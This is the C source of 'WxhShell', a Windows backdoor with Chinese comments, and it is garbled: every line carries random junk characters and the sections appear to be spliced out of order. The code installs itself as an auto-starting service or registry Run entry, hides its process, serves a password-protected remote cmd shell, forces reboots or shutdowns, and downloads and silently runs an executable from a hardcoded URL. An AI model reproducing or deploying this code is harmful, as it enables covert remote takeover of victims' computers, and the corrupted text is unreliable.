    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p$l'y""i  
    if(Boot(SHUTDOWN)) xoN?[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Z*^)ZQB  
    else { a VIh|v  
    closesocket(wsh); 6>F]Z)]}  
    ExitThread(0); iKEHwm  
    } U].3vju`c  
    break; oPR?Ar  
    } SJ8|~,vL  
  // 获取shell Oi\,clR^[o  
  case 's': { G*rlU  
    CmdShell(wsh); swG!O}29OX  
    closesocket(wsh); 2q%vd =T  
    ExitThread(0); MLt'tzgl  
    break; n{xL1A=9  
  } ;7N~d TBQ  
  // 退出 S3> <zGYk  
  case 'x': { $;B0x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !s(s^  
    CloseIt(wsh); \Culf'iX  
    break; JG=z~STz  
    } {[[/*1r|  
  // 离开 9u] "($  
  case 'q': { &``nYI g/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T#-U\C~o  
    closesocket(wsh); E<L6/rG  
    WSACleanup(); 3}2a3)  
    exit(1); %q_b\K  
    break; 9Vtn62+  
        } 6Wc'5t3  
  } ~a` vk@8  
  } K1m'20U  
_BBs{47{E  
  // 提示信息 $Ce;}sM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &E`=pe/e  
} 287)\FU;3  
  } jQ9i<-zc  
uui3jZ:  
  return; ,w0Io   
} u]s}@(+.  
_?a.S8LxJZ  
// shell模块句柄 _vr;cjMI  
int CmdShell(SOCKET sock) :x36Z4:  
{ Yo[Pu< zR  
STARTUPINFO si; P2sM3C  
ZeroMemory(&si,sizeof(si)); 's 'H&sa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QLOcgU^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q'Vejz/  
PROCESS_INFORMATION ProcessInfo; [ .c'22R6  
char cmdline[]="cmd"; s:Io5C(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D~7L~Q]xI  
  return 0; +/DT#}JE  
} < <]uniZ\  
HR$;QHl~F  
// 自身启动模式 l$3YJ.n|s~  
int StartFromService(void) *e *V%w~75  
{ +~eybm;  
typedef struct n ?+dX^j  
{ f%Vdao[  
  DWORD ExitStatus; ;B6m;[M+  
  DWORD PebBaseAddress; Pm!/#PtX  
  DWORD AffinityMask; p _q]Rt  
  DWORD BasePriority; [?nM)4d  
  ULONG UniqueProcessId; s[#ww =T\  
  ULONG InheritedFromUniqueProcessId; C !6d`|  
}   PROCESS_BASIC_INFORMATION;  @t<KS&  
G~KYFNHr  
PROCNTQSIP NtQueryInformationProcess; tW} At  
nv_9Llh=z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OzS/J;[PO[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rg~F[j$N  
m! _*Q  
  HANDLE             hProcess; A7=k 9|  
  PROCESS_BASIC_INFORMATION pbi; <K  GYwLk  
j=n<s</V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9y(491"o  
  if(NULL == hInst ) return 0; 7V-'><)gI  
!7jVKI80  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R/?ZbMn]!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d0D*S?#8,C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ":V,&o9n  
\2VYDBi?|  
  if (!NtQueryInformationProcess) return 0; >j_N6B!  
52#Ac;Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L}\~)  
  if(!hProcess) return 0; L1YiXJ,T,  
I"bz6t\~|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^{l$>e]  
3jDAj!_ea  
  CloseHandle(hProcess); y]b &3&  
vmIt!x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rxk0^d:sNi  
if(hProcess==NULL) return 0; i;mA|  
H?tX^HO:q  
HMODULE hMod; .+$ox-EK8  
char procName[255]; H/N4t Wk"  
unsigned long cbNeeded; ^]ig*oS\`  
:FX|9h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @tg4rl  
vz3#.a~2  
  CloseHandle(hProcess); -&JQdrs  
-SN6&-#c_  
if(strstr(procName,"services")) return 1; // 以服务启动 "ot# g"  
2C"[0*.[N  
  return 0; // 注册表启动 1AAOg+Y@U"  
} v]X*(e  
K410.o/=-  
// 主模块 6Eyinv  
int StartWxhshell(LPSTR lpCmdLine) aKC,{}f$m  
{ vk.P| Y-;  
  SOCKET wsl; N Nw0 G&  
BOOL val=TRUE; 8=,-r`oNy  
  int port=0; (qdvvu#E  
  struct sockaddr_in door; LGT?/ gup  
xj;V  
  if(wscfg.ws_autoins) Install(); OmLe+,7'  
*:V+whBY  
port=atoi(lpCmdLine); Z,7VOf6g  
]oxi~TwY^  
if(port<=0) port=wscfg.ws_port; 4rrR;V"}  
]..7t|^b&  
  WSADATA data; (Fs{~4T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J+r:7NvZ  
%3@-. =  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tZan1C%p>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #dDM "s  
  door.sin_family = AF_INET; lGpci  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _kT{W]   
  door.sin_port = htons(port); RJOW#e :  
aDda&RM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uS7kkzt-x  
closesocket(wsl); _(F8}s  
return 1; ubUVxYD?  
} 5&TH\2u  
{fa3"k_ke  
  if(listen(wsl,2) == INVALID_SOCKET) { P$5K[Y4f  
closesocket(wsl); VMH^jCFp  
return 1; QJ2D C  
} ':!aFMj^  
  Wxhshell(wsl); e-*-91D  
  WSACleanup(); -rlCE-S  
C1o^$Q|j  
return 0; cG,zO-H  
r$W%d[pB  
} /X%+z5  
OTzuOP 8  
// 以NT服务方式启动 -;*lcY*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y~^-I5!_ u  
{ $rm/{i_7  
DWORD   status = 0; D|$Fw5!^k6  
  DWORD   specificError = 0xfffffff; KZ@'NnQ  
n}/4em?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M< /  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tn}MKo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .zv BV_I  
  serviceStatus.dwWin32ExitCode     = 0; B}0!b7!  
  serviceStatus.dwServiceSpecificExitCode = 0; .I.B,wH8  
  serviceStatus.dwCheckPoint       = 0; 2]=`^rC*  
  serviceStatus.dwWaitHint       = 0; e%C_>  
$[\\{XJ.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nXw98;  
  if (hServiceStatusHandle==0) return; T{)_vQ  
v?_L_{x;W  
status = GetLastError(); (D0\uld9  
  if (status!=NO_ERROR) &yG5w4<  
{ ^09-SUl^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q2[; H!"  
    serviceStatus.dwCheckPoint       = 0; yt<h!k$ _P  
    serviceStatus.dwWaitHint       = 0; +`tk LvM  
    serviceStatus.dwWin32ExitCode     = status; 9_fbl:qk;\  
    serviceStatus.dwServiceSpecificExitCode = specificError; p0h E`!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bE?X?[K  
    return; =Y Y 7V!  
  } |#yH,f  
.F G%QFF~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; us+z8Mz  
  serviceStatus.dwCheckPoint       = 0; JJK-+a6cX  
  serviceStatus.dwWaitHint       = 0; Rqr>B(|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rFaG-R  
} ty'/i!/\  
N-W>tng_x  
// 处理NT服务事件,比如:启动、停止 H$.K   
VOID WINAPI NTServiceHandler(DWORD fdwControl) LVT:oIQ  
{ nJ h)iQu  
switch(fdwControl) rn/~W[  
{ bEln.)  
case SERVICE_CONTROL_STOP: /36gf  
  serviceStatus.dwWin32ExitCode = 0; %j.n^7i]^:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I-#7Oq:Np  
  serviceStatus.dwCheckPoint   = 0; GSW%~9WBa  
  serviceStatus.dwWaitHint     = 0; pQ>|d H+.  
  { OX%#8Lx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SDB \6[D  
  } Bj<s!}i{[  
  return; 4:5M,p  
case SERVICE_CONTROL_PAUSE: %SuELm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xpc{#/Nk  
  break; yD#(Iw  
case SERVICE_CONTROL_CONTINUE: Cz &3=),G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :$0yp`k  
  break; -V-I&sO<  
case SERVICE_CONTROL_INTERROGATE: O_]hbXV0  
  break; Ec@cW6g(%  
}; &gKDw!al  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qw1W }+~g  
} -E~r?\;X  
L9-Jwy2(>  
// 标准应用程序主函数 4:-x!lt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7ug"SV6Hb  
{ HLOr Dlj7  
x"!`JDsS  
// 获取操作系统版本 B oxtP<C"  
OsIsNt=GetOsVer(); Jy\0y[f*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R9!U _RH  
u /]P  
  // 从命令行安装 V~p01f"J  
  if(strpbrk(lpCmdLine,"iI")) Install(); ln+.=U6Tm  
*V4%&&{  
  // 下载执行文件 *<X1M~p$  
if(wscfg.ws_downexe) { ',K:.$My  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i I`vu  
  WinExec(wscfg.ws_filenam,SW_HIDE); z%#-2&i  
} L^*f$Balz  
,J,Rup">h  
if(!OsIsNt) { No)0|C8:  
// 如果时win9x,隐藏进程并且设置为注册表启动 at4JLbk  
HideProc(); eL~3CAV{  
StartWxhshell(lpCmdLine); )[oP `Z  
} b.v +5=)B  
else OF03]2j7<|  
  if(StartFromService()) }xBDyr63  
  // 以服务方式启动 bN7m[GRO.  
  StartServiceCtrlDispatcher(DispatchTable); 6VVxpDAi:  
else (Gw*x sn1  
  // 普通方式启动 c@Br_ -  
  StartWxhshell(lpCmdLine); .$7RF!p  
]YtN6Rq/  
return 0; ~_Fx2T:X  
} ?dbSm3  
J/ Lf(;C_  
l i)6^f#  
L""ZI5J{F9  
=========================================== J]#rh5um  
W@ &a  
,SidY\FzH  
@_?2iN?4Z  
ar#73f  
<b .p/uA  
" c BZ,"kp-  
Xdx8HB@L  
#include <stdio.h> Ar[|M 2|  
#include <string.h> tH4 q*\U  
#include <windows.h> g$^-WmX\m  
#include <winsock2.h> ~TsRUT  
#include <winsvc.h> /# ]eVD  
#include <urlmon.h> URs]S~tk  
ox%j_P9@:  
#pragma comment (lib, "Ws2_32.lib") AH:uG#  
#pragma comment (lib, "urlmon.lib") e4 ,SR(O>  
yQMwt|C4  
#define MAX_USER   100 // 最大客户端连接数 Zp^O1&\SK?  
#define BUF_SOCK   200 // sock buffer v/9DD%An  
#define KEY_BUFF   255 // 输入 buffer H`'a|Y  
w7.,ch  
#define REBOOT     0   // 重启 1Acs0` 3  
#define SHUTDOWN   1   // 关机 ?'Hd0)yZ  
l _%<U  
#define DEF_PORT   5000 // 监听端口 1O< 6=oH  
g4b#U\D@)/  
#define REG_LEN     16   // 注册表键长度 IdN3Ea]  
#define SVC_LEN     80   // NT服务名长度 |Y05 *!\P*  
mvK^')  
// 从dll定义API y: x<`E=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W#~7X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a#"orc j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '~Cn+xf4]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zp3-Yo w2  
KILX?Pt[7  
// wxhshell配置信息 eA86~M?<o  
struct WSCFG { ; cvMNU$fN  
  int ws_port;         // 监听端口 )ds]fvMW]N  
  char ws_passstr[REG_LEN]; // 口令  $8rnf  
  int ws_autoins;       // 安装标记, 1=yes 0=no ""jW'%wR  
  char ws_regname[REG_LEN]; // 注册表键名 A5J41yH  
  char ws_svcname[REG_LEN]; // 服务名 g i6s+2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #Zw:&' QB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .Y{x!Q"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v:/\; 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NI#]#yM+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fz';H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aqN{@|  
\OtreYi  
}; bf0,3~G,P  
o+&Om~W  
// default Wxhshell configuration JR#4{P@A  
struct WSCFG wscfg={DEF_PORT, ,wes*  
    "xuhuanlingzhe", #55:qc>m  
    1, 4qp|g'uXT  
    "Wxhshell", G(.G>8pf  
    "Wxhshell", n 5R9<A^  
            "WxhShell Service", oG1zPspL  
    "Wrsky Windows CmdShell Service", WM?-BIlT=  
    "Please Input Your Password: ", W/bW=.d Jd  
  1, - [h[  
  "http://www.wrsky.com/wxhshell.exe", #i@f%Bq-  
  "Wxhshell.exe" X':FFD4h  
    }; Ajm!;LA[jO  
} LS8q  
// 消息定义模块 EN\cwa#FU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }n4 T!N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lbda/Zx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UjQz   
char *msg_ws_ext="\n\rExit."; _\X ,a5Un  
char *msg_ws_end="\n\rQuit."; j=irx5:  
char *msg_ws_boot="\n\rReboot..."; i,r:R g~  
char *msg_ws_poff="\n\rShutdown..."; 17Cb{Q  
char *msg_ws_down="\n\rSave to "; JkWhYP}  
e O\72? K  
char *msg_ws_err="\n\rErr!"; fV|uKs(W  
char *msg_ws_ok="\n\rOK!"; <[)-Q~Gg5  
W&Fm ;m@M  
char ExeFile[MAX_PATH]; 9GH5  
int nUser = 0; 8#yu.\N.xt  
HANDLE handles[MAX_USER]; &>,]YrU  
int OsIsNt; d<7b<f"~  
yy8-t2V  
SERVICE_STATUS       serviceStatus; P.XT1)qo*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UgGa]b[9A  
'wk,t^)  
// 函数声明 ?'6@m86d  
int Install(void); $ ubU"  
int Uninstall(void); IU"  
int DownloadFile(char *sURL, SOCKET wsh); MGm*({%  
int Boot(int flag); )1 T2u  
void HideProc(void); O|,9EOrP  
int GetOsVer(void); p?y2j  
int Wxhshell(SOCKET wsl); W+#Q>^Q>  
void TalkWithClient(void *cs); cb /Q<i  
int CmdShell(SOCKET sock); +Pb:<WT}%  
int StartFromService(void); /S"jO [n9b  
int StartWxhshell(LPSTR lpCmdLine); ?I6rW JcQ6  
E+O{^C=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )~wKRyQff  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S4_/%~?  
[[IMf-]  
// 数据结构和表定义 Pl/ dUt_  
SERVICE_TABLE_ENTRY DispatchTable[] = =|z:wlOs  
{ ; zJb("n  
{wscfg.ws_svcname, NTServiceMain}, 71R,R,  
{NULL, NULL} AhN3~/u%7  
}; /ovVS6Ai  
d-_V*rYU  
// 自我安装 X?'cl]1?  
int Install(void) +_7a/3kh  
{ :,0(aB  
  char svExeFile[MAX_PATH]; ~r.R|f]IQ  
  HKEY key; (L*GU7m;  
  strcpy(svExeFile,ExeFile); jXE:aWQht  
Y 3ApW vS  
// 如果是win9x系统,修改注册表设为自启动 !{.CGpS ]  
if(!OsIsNt) { {1OxJn1hd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C12UZE;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z)^|.  
  RegCloseKey(key); 2/*u$~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xc#t8`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N x&/p$d  
  RegCloseKey(key); ~|} ]  
  return 0; ^f! M"@  
    } 9-c3@ >v  
  } m>vwpRBOA  
} .Z [4:TS  
else { }(t`s  
+<1 |apS1  
// 如果是NT以上系统,安装为系统服务 qS+;u`s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qjfgxy]  
if (schSCManager!=0) rQimQ|+  
{ K|Sq_/#+U  
  SC_HANDLE schService = CreateService *,$5EN  
  ( >8(i;)(3  
  schSCManager, 4]U=Y>\Sr  
  wscfg.ws_svcname, 754MQK|g  
  wscfg.ws_svcdisp, /9R0}4i7  
  SERVICE_ALL_ACCESS, M(I%y0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X vaIOt>A  
  SERVICE_AUTO_START, $v@$C4  
  SERVICE_ERROR_NORMAL, juOStTq<  
  svExeFile, !Ap5Uwd  
  NULL, OZxJDg  
  NULL, @.W;3|~qc  
  NULL, M 5sk&>  
  NULL, OS,!`8cw  
  NULL vdq=F|&  
  ); \l:R]:w;ZI  
  if (schService!=0) "@nH;Xlq  
  { 4?+K `  
  CloseServiceHandle(schService); l/G +Xj4M  
  CloseServiceHandle(schSCManager); dxs5woP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,' | J  
  strcat(svExeFile,wscfg.ws_svcname); s-"KABEE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Z0 .c@0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N55F5  
  RegCloseKey(key);  `M I;.t  
  return 0; uB  I/3aQ  
    } g{]6*`/Z  
  } "u^Erj# /  
  CloseServiceHandle(schSCManager); Nu"v .]Y2  
} |eu8;~A  
} ytIPY7E  
t<8)h8eW  
return 1; MIZdk'.U  
} G]ek-[-  
j?N<40z  
// 自我卸载 7\ _MA!:<  
int Uninstall(void) f7_( C0d  
{ ?y-^Fq|h  
  HKEY key; k9x[( #  
RTc@`m3 M  
if(!OsIsNt) { @ 8H$   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |c/=9Bb  
  RegDeleteValue(key,wscfg.ws_regname); z{W C w  
  RegCloseKey(key); u4Nh_x8\Nr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J 8%gC  
  RegDeleteValue(key,wscfg.ws_regname); @Y/&qpo$#W  
  RegCloseKey(key); 2#.s{Bv  
  return 0; %P0  
  } 12Oa_6<\0;  
} m%[e_eS  
} 1cK'B<5">]  
else { *K|~]r(F?  
u}nSdZC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n&:ohOH%  
if (schSCManager!=0) Z<.&fZ^jS  
{ So&gDR;b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /"Vd( K2Z  
  if (schService!=0) XjN4EDi+E  
  { 2GptK"MrD  
  if(DeleteService(schService)!=0) {  V;%ug'j  
  CloseServiceHandle(schService); >Q/;0>V  
  CloseServiceHandle(schSCManager); V$ H(a`!  
  return 0; 'SFAJ  
  } ,'s }g,L  
  CloseServiceHandle(schService); Lu}jk W*  
  } %nZ:)J>kz  
  CloseServiceHandle(schSCManager); c~vhkRA  
} %hSQ\T<8[o  
} j,j|'7J%  
"TA0--6  
return 1; d=vuy   
} 3>h2 W  
(mIjG)4t  
// 从指定url下载文件 BY~Tc5  
int DownloadFile(char *sURL, SOCKET wsh) vIRT$W' O}  
{ fxd+0R;f  
  HRESULT hr; '[WL8,.Q  
char seps[]= "/"; 9f! M1  
char *token; ~$u9  
char *file; -0^]:  
char myURL[MAX_PATH]; g=t`3X#d  
char myFILE[MAX_PATH]; v'i'I/  
)h}IZSm  
strcpy(myURL,sURL); *S}@DoXS  
  token=strtok(myURL,seps); {U;yW)  
  while(token!=NULL) x-[ItJ% l  
  { hS,&Nj+  
    file=token; 1 sHjM %  
  token=strtok(NULL,seps); mXz*Gi  
  } `6~0W5  
uHKEt[PS$  
GetCurrentDirectory(MAX_PATH,myFILE); *a Z1 4  
strcat(myFILE, "\\"); 76!LMNf  
strcat(myFILE, file); M8~3 0L  
  send(wsh,myFILE,strlen(myFILE),0); #s{^fUN6  
send(wsh,"...",3,0); '{ _ X1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4 . 7X*1  
  if(hr==S_OK) F@?-^ E@  
return 0; inaO{ny y  
else yh E%X  
return 1; >`AK'K8{M  
PuJ3#H T  
} %+l95Dv1  
EnWv9I<  
// 系统电源模块 )95k3xo  
int Boot(int flag) q\@Zf}  
{ yUnV%@.  
  HANDLE hToken; 7W)W9=&BT  
  TOKEN_PRIVILEGES tkp; dx@dnWRT,  
q}Q G<%VR  
  if(OsIsNt) { G!Brt&_'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3Q$ 4`p;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;5ki$)v"  
    tkp.PrivilegeCount = 1; =Ydrct  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tdcc<T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gML8lu0)  
if(flag==REBOOT) { gxl7j Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $E@n;0P  
  return 0; E<jajYj  
} Lng. X8D  
else { GNJ /|9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;}E}N:A  
  return 0; NF&Sv  
} ~LS</_N  
  } U 3< 3T  
  else { RB %+|@c  
if(flag==REBOOT) { t1w]L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +;~N; BT  
  return 0; -zFJ)!/?  
} 6Hnez@d  
else { ?z.?(xZ 6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !`e`4y*N  
  return 0; 5!?5S$>  
} |#_p0yPy  
} w x]?D%l  
;<M}ZL@m  
return 1; Ikdj?"+O  
} Z+v,o1  
gk|>E[.  
// win9x进程隐藏模块 oJ4HvrUO  
void HideProc(void) tY;<S}[@7w  
{ ,1{qZ(l1  
a]r+np]vTy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t)&U'^  
  if ( hKernel != NULL ) 4J5zSTw  
  { o4" [{LyT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1L!;lP2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <mFDC?j  
    FreeLibrary(hKernel); m+!.H\  
  } J!l/.:`6  
DT`HS/~fH  
return; ;}SGJ7  
} Ye3o}G9z  
q? ">  
// 获取操作系统版本 bh@CtnO  
int GetOsVer(void) 9I/l+IS"X  
{ Es+I]o0K  
  OSVERSIONINFO winfo; (?Mn_FNE|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1L*[!QT4  
  GetVersionEx(&winfo); ]`)5 Qe4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &?R/6"J  
  return 1; V| V 9.  
  else J:Fq ip  
  return 0; L ?/AKg  
} S=,czs3N  
l6bY!I>  
// 客户端句柄模块 !\7 M7  
int Wxhshell(SOCKET wsl) 8lM=v> Xc  
{ 3`&FXgo  
  SOCKET wsh; rp4D_80q  
  struct sockaddr_in client; R0qZxoo  
  DWORD myID; C$[iduS  
\oWpyT _  
  while(nUser<MAX_USER) `D(V_WZ  
{ u:APGR^  
  int nSize=sizeof(client); 08xo_Oysq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?XY'<]o E  
  if(wsh==INVALID_SOCKET) return 1; KdkL_GSLT  
U3N d\b'0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )pl5nu#<  
if(handles[nUser]==0) y7>3hfn~w  
  closesocket(wsh); S'!&,Dxq^  
else |~5cN m  
  nUser++; TBt5Nqks-  
  } 2"G9?)d9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { YQS fk  
p?L%'  
  return 0; (e'8>Pv  
} R Th=x.  
:2KHiT5  
// 关闭 socket =H)]HxEEM  
void CloseIt(SOCKET wsh) d'96$e o~  
{ trDw|WA  
closesocket(wsh); !Wr<T!T  
nUser--; <OEIG 0  
ExitThread(0); OM1Z}%J  
} LVg#E*J  
/[_aK0U3  
// 客户端请求句柄 )IcSdS0@M  
void TalkWithClient(void *cs) lC#wh2B6  
{ Q!q6R^5!K  
oH w!~ c7  
  SOCKET wsh=(SOCKET)cs; y>=YMD  
  char pwd[SVC_LEN]; uMDd Zj&  
  char cmd[KEY_BUFF]; `+n0a@BVB  
char chr[1]; &j:e<{@  
int i,j; :O413#8  
/ ]8e[t>!f  
  while (nUser < MAX_USER) { ?TpjU*Cxy  
2FuV%\p  
if(wscfg.ws_passstr) { F2 B(PGa7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h |]cZMGo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0 8)f  
  //ZeroMemory(pwd,KEY_BUFF); \H .Cmm^I  
      i=0; [@9S-$Xa  
  while(i<SVC_LEN) { ML>M:Ik+  
#; !@Pf  
  // 设置超时 w=XIpWl  
  fd_set FdRead; !M8_PC*a  
  struct timeval TimeOut; 4tm%F\Izy  
  FD_ZERO(&FdRead); {LjzkXs  
  FD_SET(wsh,&FdRead); ^>E>\uz0v  
  TimeOut.tv_sec=8; ~u$ cX1M  
  TimeOut.tv_usec=0; Q &W>h/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1\( N,'h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [TA.|7&  
#Gi`s?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `T*Y1@FV  
  pwd=chr[0];  x(HHy,  
  if(chr[0]==0xd || chr[0]==0xa) { cRs.@U\{R\  
  pwd=0; </;e$fh`  
  break; .hH_1Mo8  
  } nnn\  
  i++; Z$J-4KN  
    } iYBc4'X  
c/+6M  
  // 如果是非法用户,关闭 socket )K?7(H/j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KWo Ps%G  
} R{c~jjd  
=l:V9u-I^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !@lx|= #  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a!bW^?PcK  
U Y*`R  
while(1) { BR|0uJ.M  
].rKfv:  
  ZeroMemory(cmd,KEY_BUFF); 5 <k)tF%  
JL G!;sov  
      // 自动支持客户端 telnet标准   C')KZ|JIC  
  j=0; %JDQ[%3qY  
  while(j<KEY_BUFF) { L|WrdT D;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GcN}I=4|  
  cmd[j]=chr[0]; iA{q$>{8  
  if(chr[0]==0xa || chr[0]==0xd) { *0" ojfVn  
  cmd[j]=0; O>~@>/#  
  break; Q>4NUq  
  } 2&*#k  
  j++; Q   
    } W#U|;@"  
9]+zZP_#  
  // 下载文件 lwfS$7^P  
  if(strstr(cmd,"http://")) { T(u; <}e@[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +JYb)rn$^  
  if(DownloadFile(cmd,wsh)) tRI<K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "y~*1kBu  
  else q`mxN!1[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $yi:0t8t  
  } G0!6rDu2,  
  else { Jf4` 2KN\  
q`PA~C];  
